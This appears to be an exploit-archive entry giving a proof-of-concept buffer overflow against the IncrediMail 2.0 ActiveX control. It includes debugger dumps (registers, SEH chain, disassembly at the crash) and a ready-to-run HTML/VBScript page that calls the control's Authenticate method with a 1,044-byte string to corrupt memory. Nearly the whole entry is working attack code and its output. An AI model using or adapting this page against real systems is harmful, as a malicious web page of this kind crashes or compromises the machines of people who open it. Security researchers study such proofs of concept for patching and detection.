IncrediMail version 2.0 Active-X related buffer overflow proof of concept exploit.
cba87c1fcfd5fd66f749886626be5c431e2473150a128c42952c360346f45d1bIncrediMail 2.0 activeX (Authenticate) bof poc
# by d3b4g
# Tested: incerdiMail 2.0
# Vendor url:http://www.incredimail.com/english/splash.aspx
# Tested on windows XP SP3
# 1-03-2010
Debugging info
--------------
Exception Code: ACCESS_VIOLATION
Disasm: 678914AE MOV EDX,[ECX] (ImSpoolU.dll)
Seh Chain:
--------------------------------------------------
1 678AE129 ImSpoolU.dll
2 678AE3C0 ImSpoolU.dll
3 678AE6D0 ImSpoolU.dll
4 1682950 VBSCRIPT.dll
5 7C839AD8 KERNEL32.dll
Called From Returns To
--------------------------------------------------
ImSpoolU.678914AE 8458BEC
Registers:
--------------------------------------------------
EIP 678914AE -> Asc: AUTH
EAX 018BDA90 -> Asc: AUTH
EBX 01C00048 -> 678B83EC
ECX 00000000
EDX 0018A812 -> F00DBAAD
EDI 00000006
ESI 018BDA90 -> Asc: AUTH
EBP 77124C1B -> 8B55FF8B
ESP 0013ED24 -> BFA7C790
Block Disassembly:
--------------------------------------------------
6789149C CALL 678A14A0
678914A1 MOV [ESI+4],EAX
678914A4 MOV ESI,[ESI+4]
678914A7 JMP SHORT 678914AB
678914A9 XOR ESI,ESI
678914AB MOV ECX,[EBX+18]
678914AE MOV EDX,[ECX] <--- CRASH
678914B0 MOV EAX,[EDX+18]
678914B3 PUSH 0
678914B5 PUSH EDI
678914B6 PUSH ESI
678914B7 CALL EAX
678914B9 MOV ESI,EAX
678914BB CMP ESI,-1
678914BE JNZ SHORT 678914D2
ArgDump:
--------------------------------------------------
EBP+8 0574C085
EBP+12 D1FC408B
EBP+16 04C25DE8
EBP+20 90909000
EBP+24 FF8B9090
EBP+28 53EC8B55
Stack Dump:
--------------------------------------------------
13ED24 90 C7 A7 BF B8 DA 8B 01 48 00 C0 01 48 00 C0 01 [........H...H...]
13ED34 00 00 00 00 C9 0B 04 80 00 00 00 00 80 ED 13 00 [................]
13ED44 29 E1 8A 67 FF FF FF FF 3A 28 89 67 48 00 C0 01 [...g.......gH...]
13ED54 78 ED 13 00 A4 A6 8B 67 C8 0B 04 80 01 00 00 00 [.......g........]
13ED64 D0 C7 A7 BF 70 50 C0 01 FF FF FF FF 48 00 C0 01 [....pP......H...]
Olly snip
---------
http://img41.imageshack.us/img41/5595/incrediblellll.jpg
<HTML>
<object classid='clsid:032038A5-B655-11D3-BB7D-0050DA276194' id='target' />
<script language='vbscript'>
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\Program Files\IncrediMail\Bin\ImSpoolU.dll"
prototype = "Sub Authenticate ( ByVal bsServer As String , ByVal bsUser As String , ByVal bsPassword As String , ByVal fSecure As Long )"
memberName = "Authenticate"
progid = "INCREDISPOOLERLib.Pop"
argCount = 4
arg1=String(1044, "A")
arg2="defaultV"
arg3="defaultV"
arg4=1
target.Authenticate arg1 ,arg2 ,arg3 ,arg4
</script>
</html>
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